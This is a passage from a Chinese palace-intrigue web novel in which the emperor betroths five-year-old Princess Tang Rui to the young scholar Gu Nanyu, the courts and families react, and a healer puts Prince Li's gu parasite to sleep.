眼看这话题歪了楼,太子不干了:“父皇,我们现在不是应该讨论顾楠聿知法犯法的问题吗?” 皇帝闻言给他表演了一个笑容消失术,对这个儿子也越发厌烦起来。 没看蕊蕊小棉袄都看出他不开心,故意岔开了话题吗? 为什么这货还要提? 是不是一天天太闲了,才老是操心这些微不足道的小事? 唐蕊眼瞅着太子抓住这点不放,皇帝脸色不虞,歪着脑袋天真无邪的问道:“那…太子叔叔,太子妃婶婶呢?还有辰王妃婶婶,襄王妃婶婶,满朝文武大臣家的女眷等等,谁手里没一两个铺子哦?这难道不算经商吗?” 太子张了张嘴…噎住了… 是啊! 谁家女眷手里没有几个铺子? 就连她们的爷们手里都有铺子。 真要追究的话,满朝文武甚至是皇室,有一个算一个,谁又跑得了? 等等! 不对,差点被唐蕊绕进去了。 太子正了正神色,睁着眼睛说胡话:“昭华不得胡言乱语,手里有铺子和是否经商不是一回事。” 各家经商的事都有,又没有拿到明面上来。 唐蕊要是想追究,不是把整个大夏官员乃至皇室得罪了个遍? 他就不信她敢! 唐蕊还真就敢! 她可是郡主,需要讨好的人就那么几个,干嘛要去看别人脸色? 然而这时,顾楠聿却神色平静的接过话来:“太子殿下说得没错,学生是触犯了大夏律法,所以学生愿意接受惩罚,拿出臻粹阁未来十年利润充盈国库。” 第67章 赐婚 太子闻言震惊的看着他,再次词穷了。 十年…利润? 臻粹阁的? 这得多少钱? 顾楠聿是疯了吗? 顾楠聿眼底划过一丝讥讽之色,继续输出:“太子殿下,这样的惩罚,您可满意?” 太子轻咳一声,忍者激动故作淡定:“还行吧!” 他是太子,也是以后大夏的君主。 说来说去这笔银子最后还不是进了他的腰包? 如果按照律例,抄了臻粹阁,处罚犯事的人,那才是真傻吧? “那就这样吧!”皇帝把太子的神色收入眼底,心里越发失望了。 这个儿子,算是彻底废了。 反观顾楠聿,皇帝却越来越欣赏他。 临危不乱,更没找他求助。 至于臻粹阁十年利润… 呵… 臻粹阁本来就是他的,赚的银子也一直都在国库。 这个惩罚等于没有。 此子…不错! 皇帝心下满意,不动声色开始赶人了:“太子,没事了就回去吧!昭华,你也去贵妃宫中玩会儿,朕还要问顾楠聿一些事。” “儿臣告退。”太子拱了拱手,心满意足的离开。 唐蕊眼瞅着顾楠聿不会倒霉了,也行礼告退。 只是离开的时候,她偷偷瞄了顾楠聿一眼,冲他无齿一笑。 顾楠聿唇角微翘,下一刻就移开了视线。 两个小孩以为自己的表情很隐蔽,却没想到这一幕被皇帝看了个正着。 皇帝:“!!” 看了看一表人才的顾楠聿,又看了看可爱的唐蕊,脑子里某个灯泡突然亮了。 别说,你还真别说! 这两个娃娃,挺般配呀! 他要不要指个婚呢? 一个顾若雪的份量,哪里能跟顾家长房长子的份量比? 可…唐蕊才五岁,这么早给她定下,是不是不太好? 再说了,顾楠聿未来肯定是要入朝堂的。 若是老七继位,唐蕊就是公主,那顾楠聿不就成了驸马? 这驸马不能入朝堂啊! 那这…不是可惜了顾楠聿吗? 皇帝心里揣了事儿,有些心不在焉了。 等殿中只剩他与顾楠聿的时候,他都还在发呆。 顾楠聿一直没等到他说话,有些不耐烦了,出声打断他的思绪:“皇上留下楠聿,是否因为臻萃阁之事?” “啊?对!”皇帝回过神过来,轻咳一声问道:“扫尾干净了?” 顾楠聿点头:“带着逍遥丸潜入北狄的探子已经死了,幕后主使正是北狄太子。” “那…太子是怎么查到你头上的?”皇帝突然话音一转,看着他的眼神有些莫名起来:“楠聿,你不像是这么粗心的人。” 顾楠聿垂眸:“是楠聿的不是,差点连累皇上,还请皇上降罪。” 皇帝盯着他看了片刻,最后没再继续深究:“罢了,日后当心一些。” “谢皇上,楠聿日后一定万分仔细,不再被任何人抓到把柄。” “去吧…” 皇帝是真舍不得罚他,更何况他现在还有个想法。 顾楠聿离开后,皇帝去了贵妃处。 唐蕊注意他时而走神,跟贵妃说了一会儿话,认了个脸熟后,就懂事的告辞回府了。 贵妃是皇帝的枕边人,一眼就看出他有心事。 唐蕊离开时,她让司徒安去送送,又支开了宫里的人,来到皇帝身后,轻柔的替他揉着肩膀:“皇上,是有什么烦心事吗?不知臣妾能否为皇上分担?” “朕却有一事,不知如何是好…”皇帝拍了拍她的手,拉着她坐下,并把他想给唐蕊和顾楠聿指婚的事告诉了她。 贵妃懂事柔顺,容貌又酷似他心里的白月光。 只要不是政事,他还是愿意跟她分享的。 贵妃听完掩唇一笑,打趣道:“妾身还以为何事呢!皇上,从古至今,并不是所有驸马都是虚职啊!说到底,不重用驸马,不过是因为担心驸马有了权势,外戚干政。妾身以为,重不重用驸马,得看这个驸马,有没有能力,眼里有没有野心,这两点才是最重要的。” “你说得对…”皇帝点点头,想起顾楠聿。 那孩子能力是有的,眼里却没有野心,只有高傲与冷漠,对世俗一切都漠不关心,看不上的样子。 有时候跟他这个皇帝说话,眼底都会带着一丝不耐烦,惹急了还会暗暗阴阳怪气几句。 就…跟他爷爷顾丞相真是一样一样的。 皇帝开心了:“那你觉得,这婚事能成?” 贵妃笑着点点头,自然不会违背他的心意:“昭华小小年纪就腹有诗书气自华,容貌又酷似璃王,长大后定是倾国倾城的美人。顾楠聿一表人才,容貌不俗,小小年纪就已是秀才。妾身觉得,这二人真乃绝配。” “哈哈…朕也这么觉得,还得是你,与朕心意相通!” 皇帝龙颜大悦,当即让陈德福去拟旨。 通知当事人? 不需要! 经过给儿子塞N个女人的事件后,皇帝觉得完全不需要! 璃王还没成亲的时候,不管他怎么催,都没什么用。 俗话说得好,有什么爹就有什么女儿,唐蕊性子想必跟璃王一样。 所以,不需要问,直接塞就对了。 他是皇帝,任性一下怎么了? … 一个时辰后,陈德福带着新鲜出炉的圣旨来到璃王府。 璃王和一众女眷跪了一地。 陈德福打开圣旨,开始念。 内容很简单,无非就是唐蕊十五后,就跟顾楠聿完婚云云。 然而,听完圣旨后,璃王也好,王妃侧妃庶妃们也罢,包括唐蕊在内,都像是被雷劈了一样,原地化身雕塑! 什么? 你说什么? 敢不敢再说一次? 陈德福见众人全都震惊望着他,没有一个人吱声,神色有些无奈:“郡主,接旨吧!” “不…不是…” 唐蕊终于找回了自己的声音,眼睛瞪得溜溜圆:“陈公公,你是不是搞错了哦?我才五岁,皇爷爷就给我定亲乐?” 电视剧都不敢这么演吧? 陈德福看她这样子就好笑,习惯性翘起兰花指:“哎哟郡主,皇上这是疼您呢!这不,一看到优秀的后生,第一时间就想给您定下,生怕别人抢走了呀!” “…”我真是谢谢他了。 唐蕊感觉天都快塌了,再次强调:“可是陈公公,我才五岁,五岁哦!” 陈德福笑眯眯道:“皇上知道呀,您现在五岁,但又不是永远五岁。女子这一生总要嫁人生子,顾公子不管是人品还是才华,家世还是相貌,那可都是一等一的好,除了他,还有谁能配得上您呀?” 虽然但是… 唐蕊真想抗旨,也真的抗了,哭丧着脸道:“我可以不接吗?” 她以后的美男后宫啊,这不是没了吗? “哎哟,我的郡主喂,这可是圣旨呀!”陈德福公公为难的看向司徒澈:“璃王爷,您看这…” 司徒澈已经淡定下来了,侧头看向唐蕊:“蕊蕊,不得胡闹,赶紧接旨!” “是…”呜呜呜呜… 唐蕊像是死了爹一样,哭丧着脸,艰难的接过圣旨。 容嬷嬷也回过神了,赶紧给陈德福塞了个大荷包:“公公,劳烦您跑一趟!” “没事儿,王爷,王妃,郡主,老奴还要去丞相府宣旨,就先走一步了。提前恭喜郡主与顾公子,郎才女貌,天作之合!”陈德福笑眯眯的接过荷包,带着一众人走了。 唐蕊憋着嘴委屈巴巴的看着自家老爹:“爹哇,你阔不阔以去皇宫跟皇爷爷说说?让他别那么禽兽哇?” 第68章 两家反应 “你给本王闭嘴!”司徒澈黑着脸吼了一嗓子:“什么话都敢说,你真不怕父皇摘了你的脑袋?” “哦,对不起…”实在是被刺激狠了,一不小心就把心里话说出来了:“可是爹爹,这事真的没有转圜的余地了么?” 司徒澈没好气道:“你说呢?” “呜呜呜…”唐蕊没忍住,哭了。 这次是被雷的。 秦芷嫣第一时间走了过来,抱起她:“蕊蕊别哭哦,这又不是什么大事,定娃娃亲这种事很正常呀!” 只是她也没想到,皇帝会给唐蕊定下顾楠聿。 顾楠聿可不是顾若雪这个二房的,而是顾家长房的长子啊! 这… “姐姐,我来跟蕊蕊说罢!”顾若雪也走了过来,给了秦芷嫣一个交给她的眼神。 秦芷嫣叹息一声,点点头,放下了唐蕊。 “我去宫里问问父皇!”司徒澈也觉得这么早定下不妥,得亲自去问问。 朱侧妃等人担忧的看了一眼泪眼汪汪的唐蕊,这才离开。 没一会儿,这里就只剩下顾若雪和唐蕊了。 顾若雪牵着唐蕊往她的翠微阁走去,容嬷嬷带着侍婢们不近不远跟在后面。 唐蕊拉着她的手,巴巴的看着她:“顾庶母,我真不想那么早嫁人哦。” “可是蕊蕊,女子总是要嫁人的啊!楠聿真的很不错,你不会后悔的。” 因为她的关系,顾楠聿也算是唐蕊的长辈,但顾楠聿和唐蕊没有血缘关系,也是可以成亲的。 她的父母成亲早,所以她比顾楠聿年长几岁。 作为顾楠聿的堂姐,她当然清楚自家堂弟的本事,也是真的替唐蕊开心。 可唐蕊…好像很不愿意… 顾若雪蹲下身,替她擦掉眼角的泪,语重心长道:“蕊蕊,庶母知道你聪慧,那你也应当能猜到,皇上为你和楠聿赐婚的深意吧?” 深意… 唐蕊思索了一番,很快就反应过来了,心里一个大写的握草。 皇帝这是觉得顾若雪一个顾家二房女的份量不够重,不足以让丞相府选择璃王。 所以这才她和顾楠聿凑一堆吧? 顾楠聿可是顾家长房长子,还是长房目前唯一的子嗣。 只要他成了自己的老公,顾丞相就算不愿意,也不得不站璃王了。 想明白的唐蕊:“…” 真是无语哦! 不管是古代还是现代,只要身处豪门圈的人,心眼子都堪比马蜂窝。 她还能不能好好做条咸鱼了? 顾若雪眼底划过一丝赞赏,她就知道,唐蕊不是普通的小孩子。 她真的非常非常非常的聪明,看来已经想明白了。 顾若雪又低声道:“顾家是最忠实的保皇党,皇上硬逼着顾家和王爷站在一起,那就说明,皇上心里是属意王爷的。以后王爷要是能…那你就是公主之尊,真正的金枝玉叶。” 说到这,顾若雪顿了顿,神色有些失落:“蕊蕊,你知道吗?驸马是不能参政的。楠聿自小与你一般聪慧,我的家人对他的期望非常高。可现在…他的仕途断了。他也好,我的家人也罢…会比你更难受…” 唐蕊张了张嘴,一时间都不知道该说什么才好了。 啧… 皇帝这办的都是什么事儿啊? 以后再见顾楠聿,她不会被揍吧? 唐蕊握着顾若雪的手,眼神逐渐坚定起来:“顾庶母,你放心,我才五岁哦,距离长大还早着呢,我会想法子解除这门婚约的。” 实在不行就拖,拖到皇帝嘎了。 到时候便宜爹继位,让便宜爹取消婚约。 顾若雪替她拿掉头上的落叶,眼神温柔下来:“我没有怪你的意思,你本就是金枝玉叶,抛开身份不谈,其实我觉得你和楠聿很般配的。我说这些,只是希望你不要抵触楠聿,抵触这门亲事。好吗?” “…”咋可能不抵触。 她又不是喜欢小屁孩的女变态! 想是这么想,说可不能这么说,毕竟顾若雪话都说到这份上了:“好,我知道啦!” “蕊蕊真乖,走吧,庶母送你回去…” … 陈德福见识过唐蕊的态度,本以为顾楠聿和唐蕊的态度差不多,对这门婚事应该很抵触。 但… 结果反而出乎他的预料。 顾家其他人,包括顾老丞相在内的人,确实很抵触。 顾楠聿却没有一点抵触的情绪,很平静的接过圣旨,谢主隆恩。 陈德福一时间有些看不懂顾楠聿了,呵呵一笑,试探性道:“顾公子,皇上很疼爱昭华郡主,给您与昭华郡主赐婚,说明皇上也是看重您呢!” 顾楠聿捧着圣旨,神色淡淡:“楠聿明白,昭华郡主雪玉可爱,聪慧过人,楠聿甚是喜爱,还劳烦陈公公替楠聿谢过皇上。” “好好好,那杂家就先告辞了,恭喜恭喜啊!”陈德福确定他没有丝毫不愿,这才放心离开。 他前脚刚走,后脚丞相府就炸开了锅。 顾老丞相,顾楠聿的父母,还有顾家二房和三房,全都齐聚一堂。 “爹,皇上这是什么意思啊,昭华郡主再好,也才五岁,我的儿都十一了,等昭华郡主及笄,那得等多少年?这不是…耽误我儿吗?”顾楠聿的母亲柳氏第一个坐不住了。 顾楠聿的父亲顾衡章,在内阁担任中书舍人,官职也不低。 自家媳妇都开了口,他也紧接着开口:“是啊父亲,您要不进宫一趟,探探皇上的意思?我和夫人就这一个儿子,您也盼着他光宗耀祖吧?” 坐到他这个职位,所想的不光是耽误儿子这一层。 皇上这分明是,逼着他们丞相府站璃王啊! 他倒不是不认为璃王没有资格坐那个位置,只是璃王残废啊! 从古至今,就没有残废登上皇位的先例。 皇上这是要以一己之力挑战祖制和宗室吗? 皇上英明了一辈子,怎么临了老了,反倒犯糊涂? 二房,也就是顾若雪的父母一言不发,事不关己高高挂起。 三房小两口还年轻,幸灾乐祸的看笑话。 顾丞相把众人情绪收入眼底,最后看向顾楠聿:“楠聿,你的意思呢?如果你不愿,老夫这就进宫面圣,请求陛下取消这门亲事。” “不必!”顾楠聿还是那副死样子,根本别想从他脸上看出任何情绪:“昭华挺好,若未来妻子是她,也不是不行。” 第69章 只要不是太子,谁做皇帝,爷都支持 “楠聿!”柳氏一听不乐意了,苦口婆心劝道:“你比昭华郡主年长六七岁,这不得等到二十出头才能成亲?。” 顾楠聿丝毫不买账,眼底划过一丝讥讽之色:“那又如何?很老吗?就算没有昭华,也不可能是你娘家那侄女,母亲还是省省心吧!” 柳氏闻言脸色一僵,眼神左右飘忽:“我…我可没有这意思…” “有没有母亲心里清楚!”顾楠聿不想跟她废话。 顾衡章无语的看着柳氏:“我都跟你说了多少次,你娘家那侄女配不上楠聿,你还没死心呢?” 顾家是什么人家? 柳家不过是个六品地方官,他们家的女儿怎么可能配得上顾家长孙? 这不是开玩笑吗? 至于柳氏,当初要不是顾家还没发达,他老娘在世时,又跟柳家定下了娃娃亲,后来不想被人说闲话,柳氏都没资格嫁给他好不好。 现在还想把自己侄女塞进来,想得美哦! 柳氏讪讪一笑,觉得有些没脸,却还在嘴硬:“我侄女也挺好的呀,琴棋书画样样精通,怎么就配不上南聿了。” 二房夫人轻笑一声:“大嫂,琴棋书画那些东西,学来是取悦男人的,想做当家主母,要学的是如何掌家,可不是什么琴棋书画。” 三房夫人也掩唇一笑,美目流转:“二嫂,大嫂毕竟是那么个出身,眼界不够,你又何必为难人家呢!” 二房夫人叹息一声:“我这不也是替楠聿着急吗?有个拎不清的娘,都嫁人了,还向着自己娘家,担心娘家的侄女嫁不出去。” 三房夫人又接过话来:“可不是嘛,也没见她多关心自己的亲儿子,不知道的,还以为楠聿是捡来的呢!” “你们…太过分了!”柳氏猛的站起身来,怒视着二人:“琴棋书画怎么就是取悦男人的本事了?老二家的,你的闺女倒是教得好,最后还不是做了个侧妃,你究竟在得意什么?” “还有你,老三家的,嫁进来两年了,一个蛋都生不出来,一天天就知道挑拨我和楠聿的母子关系,到底是何居心?” 得! 这下脸黑的变成老二媳妇和老三媳妇了。 “够了!”顾老丞相开口打断了这出闹剧,头疼的揉着眉心:“老大家的,少说几句罢。若雪虽然是侧妃,但她嫁的是天潢贵胄,上了皇家玉牒的。老三家的也还年轻,不着急!” 就是! 老二和老三家的得意的看着柳氏。 柳氏鼻子都差点气歪了。 老头子真是偏心,这俩女人都蹦到她脸上了,还护着。 不就是因为这两个女人的身份比她高吗? 这也足以说明,一个好的家世有多么重要,她这么不留余力的帮着娘家,还不是为了抬举娘家,让娘家成为后盾? “这门婚事我很满意,母亲也不用做无用功,我累了,先回去休息!” 顾楠聿已经习惯柳氏的偏心了,更没心情参与进她们的纷争,说了声就转身离去。 顾丞相:“…”老子还有事要问你呢! 顾衡章显然已经习惯了自家儿子的脾气,着急的看向顾丞相:“爹,这…” “先就这样吧,老大家的,昭华郡主是你的准儿媳了,没事就多上门去看看,好好亲近亲近。” 顾老丞相一锤定音,柳氏只能憋屈的答应下来。 心里想的却是:谁爱去谁去,她才不去,也不会认一个还没断奶的娃娃做儿媳。 … 回去的路上,顾楠聿小厮有些摸不着头脑:“少爷,你喜欢昭华郡主啊?” 在他印象中,自家少爷冷心冷情的,尤其讨厌女娃娃。 在国学监里和昭华郡主走得近,就很让他大开眼界了,现在都被指了婚,竟也不着急。 “反正都要娶妻生子,我至少看她顺眼!”顾楠聿再次回忆了一下和唐蕊相处的点点滴滴,确实没有任何反感的情绪。 她的眼睛很明亮,偶尔想坏主意的时候,会透露着一丝狡黠。 不像司徒嫱似的,满是与她年纪不符的野心与占有欲。 好像他顾楠聿不是个人,只是个物件似的。 就特么很恶心! 小厮似懂非懂的点点头,暗暗把唐蕊的的定位变动了一下。 以前他只当唐蕊是昭华郡主,可现在他却把这个昭华郡主放在了女主子的位置上。 “对了!”顾楠聿突然停下了脚步:“收尾收干净没?别被抓到把柄!” “小的办事,少爷放心。”小厮闻言很快被转移了注意力,很是疑惑道:“不过少爷,咱们干嘛要故意放出消息,让太子抓住小辫子啊?” 是的,臻粹阁背后东家的事,是顾楠聿发现太子在查他,故意透露给太子的。 不然凭着顾楠聿的本事,还有皇帝的龙隐卫打掩护,太子怎么可能查得到? 顾楠聿冷冷一笑:“因为我担心皇帝心软。” 又动摇了废太子的决心! 自从唐蕊出现后,他明显感觉到皇帝动了废太子的念头。 唐蕊的存在,引起了司徒嫱不满,从而也加深了璃王和太子之间的矛盾。 只要太子仇视璃王一日,这个位置就轮不到太子。 很巧,他也不希望太子坐上皇位,顺水推个舟,让皇帝越发对太子失望罢了。 小厮可想不到这些,抓了抓脑门,似懂非懂的点点头。 … 除了两家当事人,这道圣旨也炸得京城贵圈外焦里嫩。 每个王爷都在揣测自家皇帝老爹的心思。 辰王府! 辰王叹息一声:“看来,父皇还是属意老七的。” 辰王妃笑道:“七弟总比太子好,若是太子继位,恐怕根本就容不下王爷您。” 睿王府! 睿王跑自家王妃这委屈巴巴:“自小父皇就偏爱老七,爷真是搞不懂,爷难道不是他的孩子吗?怎么就不看看爷。” 睿王妃没好气的白了他一眼,都不想吐槽。 自家的男人,自己明白! 睿王这才智要做皇帝,能不能做个明君得看时势。 大夏安稳,有贤臣辅助,他就能守住大夏祖宗基业。 若是大夏不安稳,他是做不了明君的。 襄王府! 襄王小手一摊,没所叼谓:“只要不是太子,谁做皇帝,爷都支持。” 第70章 冷若华上门 襄王妃赞同点头:“也是,太子要是真的做了皇帝,倒霉的不光是天下百姓,还有我们。” 小夫妻俩,在这件事上居然难得同频了。 襄王嘿嘿一笑:“不说这个了,今晚爷跟你睡,继续努努力。” “行啊!”襄王妃扬唇一笑,第一时间去扯床下的木箱子。 然而,打开箱子一看,里面的各种道具全都不翼而飞。 襄王妃愣住了:“我东西呢?” 襄王骚包的摇着扇子,很是得意:“东西都被爷扔了,看你怎么欺负爷。” “哦!”襄王妃淡定的摁下盖子,把木箱踢回床底,来到妆台,拉开了一个小抽屉,凑个里面拿了根白玉打造的角先生出来。 襄王看到这东西脸色一僵,下一刻二话不说起身往外跑。 外面守着的嬷嬷很有眼力劲儿,立刻关上了房门,还贴心的上了锁。 襄王气得都快炸了,用力拍着门怒骂:“老东西,你想死是不是?给爷开门!” 外面的嬷嬷装作听不到,擦了擦脑门的冷汗,让下人都去休息。 不一会儿,房里传来襄王鬼哭狼嚎的叫声。 “痛嗷嗷嗷…轻点…轻点…” 同时,东宫也很不平静! 太子不是真的蠢,自然能明白皇帝的意思,把屋里的摆件砸了个干干净净。 陈姬很害怕,却又不得不硬着头皮上前,语气要多轻柔有多轻柔:“殿下,要不派人去请皇后娘娘回来吧?” “要你说?孤现在火气很大啊!”太子咬牙切齿,强硬的把陈姬的头摁了下去。 陈姬气得要死,却不得不假装顺从。 司徒嫱也气得把自己屋里的东西砸了个稀巴烂,一口一个小贱人咒骂着唐蕊。 她是真的不明白,唐蕊是不是来克她的? 郡主之位就算了,为什么连她看中的未来夫婿也要抢? “唐蕊,你就这么喜欢抢我的东西吗?我是不会放过你的!” 司徒嫱脸色扭曲,吓得一屋子侍婢战战兢兢。 … “阿嚏!” “阿嚏!” 被咒骂的唐蕊打了好几个喷嚏。 容嬷嬷适时倒了杯热茶递给她:“郡主,要不要请府医来给您看看?” “不必啦,我没感冒!”她也算半个大夫吧,早就给自己把过脉了。 估计是有人在骂她! 再说了,今天是她跟师姐约好的日子。 这个想法刚刚落下,就有人来报:“郡主,门外来了个陌生女子,姓冷,说要见您!” “太好啦,你带她去爹爹书房,本郡主在那等她!” 下人赶紧去办了,唐蕊也带着容嬷嬷朝司徒澈书房走去。 她到了时候,冷若华也刚刚好,看到她立刻笑容满面的走了过来:“先说好哦,我只能帮你爹看看,想办法给他缓缓,若真是金蚕蛊,还是得你娘亲自来取。” “我知道啊,谢谢师姐啦。” 师傅就三个弟子,师姐是老大,师兄是老二,最后就是她了。 师姐的医术,在他们三个当中也是最好的。 就在她们说话的时候,司徒澈也被明月推着出来了,礼貌的朝冷若华拱了拱手:“小神医,麻烦你了。” “神医不敢当,王爷太客气!”冷若华回了个江湖人的礼节。 唐蕊没好气的白了司徒澈一眼:“爹爹怎么知道,我师姐来了哦?我还想着给你一个惊喜的!” 明月默默举手:“我说的哦!” “…”谁让你模仿我的语气了? 唐蕊叉腰控诉:“爹爹,你可不可以不要让明月跟着我啦?我觉得一点隐私都木有乐!” 司徒澈有些无奈:“我不是怕你有危险吗?明月武功高强,他在你身边看着,我也放心。” 唐蕊轻哼一声不依不饶:“是保护还是监视?” “是保护!”司徒澈揉着眉心,再次强调:“没有监视的意思,是明月内力强,耳力过人,你总不能让他封闭五感吧?” 唐蕊撇撇嘴,神来一句:“那我o粑粑的时候呢?明月总不能也在看吧?” 明月闻言眉头微蹙,不等司徒澈开口就道:“没有,郡主的粑粑很臭,每次我都离得很远。” 唐蕊:“…”小孩子的粑粑能有多臭?信不信我告你诽谤? 见唐蕊吃瘪的样子,司徒澈难得的笑出声来。 也许…只有明月才治得了这个小恶魔了。 冷若华把这一幕收入眼底,也默默的放了心。 看来小师妹在这里生活得很好,璃王人也不错,不像唐蕊娘说的那样美则美矣,脾气火爆。 “王爷!”冷若华拱手道:“我午时就得启程回北狄了,还是先让我给你看看腿吧!” “劳烦了!”璃王让容嬷嬷去沏茶,并把冷若华请进了屋。 冷若华给他把了把脉,又蹲下身,挽起了他的裤管。 璃王虽然残废,但足以看出,这些年他都有好好保养。 哪怕多年不曾行走,腿部也没有萎缩。 检查完后,冷若华取下腰间的骨笛吹奏起来。 曲调怪异,时而尖锐,时而舒缓。 随着她的吹奏,司徒澈腹部传来剧痛,脸色也逐渐发白,额头冷汗淋漓。 仔细看去,他的手指都在微微颤抖。 不知过了多久,冷若华停止了吹奏,赞赏的看着司徒澈:“王爷能忍常人所不能忍,在下佩服。” 随着笛声停止,剧痛也瞬间散去。 此时的司徒澈就像是从水里被捞出来一样,浑身是汗,疲惫的摆了摆手:“小神医过奖了,刚刚你吹奏的时候,我腹部剧痛,是不是蛊虫作祟?” 冷若华点点头:“确实是金蚕蛊,不过刚刚我已经催眠了它,王爷也可以暂时像普通人一样行走了。但…只有一年,一年后金蚕蛊就会醒来,要取出此蛊,还得唐娆亲自来。” 说到这,冷若华怕他不知道唐娆是谁,又多了一句嘴:“唐娆就是蕊蕊的生母,也是金蚕蛊的主人,除了她,无人能指使金蚕蛊。” “多谢告知!”司徒澈沉吟片刻,还是问道:“她…近来可好?” 冷若华闻言神色有些复杂:“还好吧,至少她觉得自己很好。回到北狄后,我会告诉她王爷的事,看她能不能抽时间来一趟。” 第71章 安慰秦芷嫣的工作 司徒澈点点头,看了看唐蕊一眼,又说了句:“若是她无处可去,可以来找本王,本王会给她一个容身之所,保她下半生安稳。” 到底是唐蕊的生母,还救了他的命,对他有恩。 但他已经有王妃了,别的也保证不了,最多只能给唐娆争取一个侧妃之位。 有时候司徒澈也挺郁闷的,女人太多不是好事,不是怕伤了这个的心,就是怕伤了那个的心。 但他是男人! 大丈夫生而应顶天立地,不负责任的事不能做! 冷若华闻言一愣,不动声色瞥了唐蕊一眼。 唐蕊冲她微微摇头。 冷若华:“…”还好,唐蕊没把唐娆的事告诉司徒澈。 也是,毕竟是南蛮皇室唯一的幸存者,知道的人太多对唐娆不好。 可司徒澈这反应,是猜到了什么吗? 啧… 男人太聪明了也不好! 冷若华拱手道:“璃王,这话我会带给唐娆。” 不过唐娆估计不会同意。 南蛮都是女子当家做主,历代南蛮皇也都是女子担任。 南蛮未灭时,唐娆是被女皇当做储君培养的,不会屈居男人的后宫之中。 用唐蕊的话说就是,玩玩可以,想让我嫁人,没门儿! “多谢小神医!”璃王再次道谢。 “无事,我也只能让金蚕蛊沉睡一年罢了。我还要赶回北狄,就先告辞了。” “师姐,我送你哇!离开的时候顺便帮我看看蛊嘛,我养了好久了,还没反应。”唐蕊立刻凑了过来。 “好!”冷若华礼貌的朝司徒澈点点头,往外走去。 唐蕊屁颠屁颠跟在她身后,问东问西。 容嬷嬷整个人就像是被雷劈了一样,司徒澈喊了她好几声,她才赶紧跟了上去。 老天奶… 小主子居然出自神医谷? 怪不得小主子喜欢倒弄那些蛊虫毒药呢! 那么问题来了,神医…确定是神医,不是毒医么? … 回到唐蕊的院子,冷若华又放心了一些。 翠微阁处处奢华,奴仆成群,足以可见唐蕊在这里生活得是真的好。 冷若华帮她看了看养着的那些蛊虫,加了一些药粉,又默默掏出了两个小瓶子递给唐蕊:“这些都是你娘炼制的蛊,一个是赤血蛊,能杀人于无形,一个是白玉蛊,能解百毒!” 唐蕊眼睛一亮,立刻接了过来,嘴里还道:“嗨,你说你,来就来了,还带什么礼物哇,多不好意思。” “…”我可没看出你哪里不好意思了。 冷若华认真提醒:“不能拿去做坏事,也不能迫害无辜之人。” “我懂我懂哦,人不犯我我不犯人,人若犯我斩草除根!” “…”还真是一点亏都不吃。 也挺好的,这个性子很唐娆。 有仇必报,有恩必还! 冷若华揉了揉她的脑瓜子:“蕊蕊,那我走了,你自己保重!” 唐蕊闻言失落下来:“那我什时候能再见师姐?” “会再见的!”冷若华微微一笑,继续叮嘱:“逍遥丸的事我就不管了,你也要注意一些,别让逍遥丸流入大夏。” 唐蕊神色认真起来:“我知道哦,我已经跟爹爹说过了,皇爷爷也知道了,会有所防范的。” “乖!那…我走了。”冷若华揉了揉她的脑瓜子,转身离开。 唐蕊赶紧追了上去:“我送你哇,师姐,你再给我说说娘亲的事哇…” “…”说出来怕污了你的耳朵。 你娘都把北狄皇室上上下下哄成胎盘了。 冷若华有时候都在想,像唐娆那般的女子,能威胁她的,也只有一个唐蕊了吧? … 冷若华离开了,而司徒澈,又重新站了起来。 但他没有声张此事,每天依旧坐在轮椅上。 除了唐蕊和容嬷嬷,就只有秦芷嫣知道这事了。 秦芷嫣是真的为司徒澈开心。 只是听说了唐蕊的生母还尚在人世,心情又很复杂。 活着固然是好的,不管哪个孩子,亲娘的陪伴总胜过一切。 唐娆活着,对唐蕊来说是好事。 可对她来说,就不算好事了。 毕竟是唯一一个为司徒澈生过孩子的女人,若是她来了,自己又该如何自处? 司徒澈会喜欢唐娆吗? 唐蕊有了亲娘,还在乎她这个母妃吗? 司徒澈似乎察觉到了她的担忧,去陪她的时间多了。 后来眼瞅着没啥用,又跟唐蕊说了下这个事。 唐蕊:“…”我很忙的! 她每天都照常去国学监打卡。 古代的课真的很无聊,文章更是难做,还没标点符号。 那些之乎者也,看得唐蕊脑仁嗡嗡疼。 最让唐蕊无语的是,顾楠聿就像是不知道赐婚的事儿似的,依旧往她面前凑。 没了个司徒嫱,还有个司徒瑾呢! 也不知道司徒嫱跟他说了什么,司徒瑾看着她的目光一天比一天阴沉。 吓得唐蕊每天捏紧赤血蛊的药瓶,一幅随时放蛊咬人的姿势。 现在又多了个安慰秦芷嫣的工作。 “唉…”这个家,没她是真得散啊! 这天放了学,唐蕊依旧第一时间去膳房补充能量。还顺走了大厨已经摆盘的大鸡腿。 来到秦芷嫣院里时,她的嘴边都是油。 抬眸一看,只见秦芷嫣坐在窗边,失神的看着天空,就像是叠加了顾若雪人淡如菊的buff似的。 唐蕊:“!!” 不是,府里有个人淡如菊姐就行了,可不要再来一个哇! 唐蕊拍了拍自己肉乎乎的小脸,不顾脸上的油印子,立刻换上欢喜的表情跑进屋去开始营业:“母妃,我好想你哇!” 听到她的声音,秦芷嫣回过神来,硬扯出一抹笑,张开手抱住了她,眼底的神情依旧宠溺,却多了一丝微不可查的复杂:“蕊蕊怎么来啦?今天有好好听周学士讲课吗?” “有哦!”唐蕊睁着眼睛说胡话:“下午我还跟着女师傅学了刺绣,可惜绣得不好,母妃,你看我的手指哦。” 说着,举起两个肉嘟嘟的小爪子,十个指头有四个都有针扎的小孔。 “哎呀,怎么扎到手了。”秦芷嫣心疼极了,立刻让容嬷嬷拿来药膏,一边给她上药一边碎碎念:“不喜欢刺绣就不学,你是郡主,只需要学好掌家就是了,以后又不用去做绣娘。” 第72章 你…会跟她走吗? “对哇对哇,我也是这么想的,可我想给母妃绣个荷包哦,所以才会学。” 唐蕊等秦芷嫣给她擦好了药,屁股一歪窝进秦芷嫣怀里,小奶音软软糯糯的:“母妃,你等等哦,等我学会刺绣,一定要亲手给你绣个荷包。” “好…”秦芷嫣抱着唐蕊,鼻子有点泛酸。 这个孩子,这么依赖她,是因为亲娘不在身边吧? 以后亲娘回来了,还会这么依赖她吗? 唐蕊不喜欢拐弯抹角,见她这样子,想了想,凑到她耳边小声道:“母妃,你不用担心我娘,我娘不会成为我爹府里的女人之一的。” 秦芷嫣好笑道:“怎么会呢?世上哪个女子不想跟喜欢的人在一起?你娘也是女子。” 在秦芷嫣看来,唐娆愿意给司徒澈生儿育女,肯定是爱极了他。 不然,为何要遭这个罪? 唐蕊就知道她没听懂,给了她一个‘这你就不懂了吧’的眼神,又道:“可我娘喜欢的人很多啊,又不是只喜欢爹爹一个。” 秦芷嫣呆住,怀疑自己听错了。 不不不! 她好像没听懂! 